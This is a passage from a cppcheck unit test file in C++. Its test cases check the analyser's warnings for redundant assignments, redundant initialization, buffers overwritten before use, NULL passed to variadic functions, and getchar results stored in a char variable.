ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n 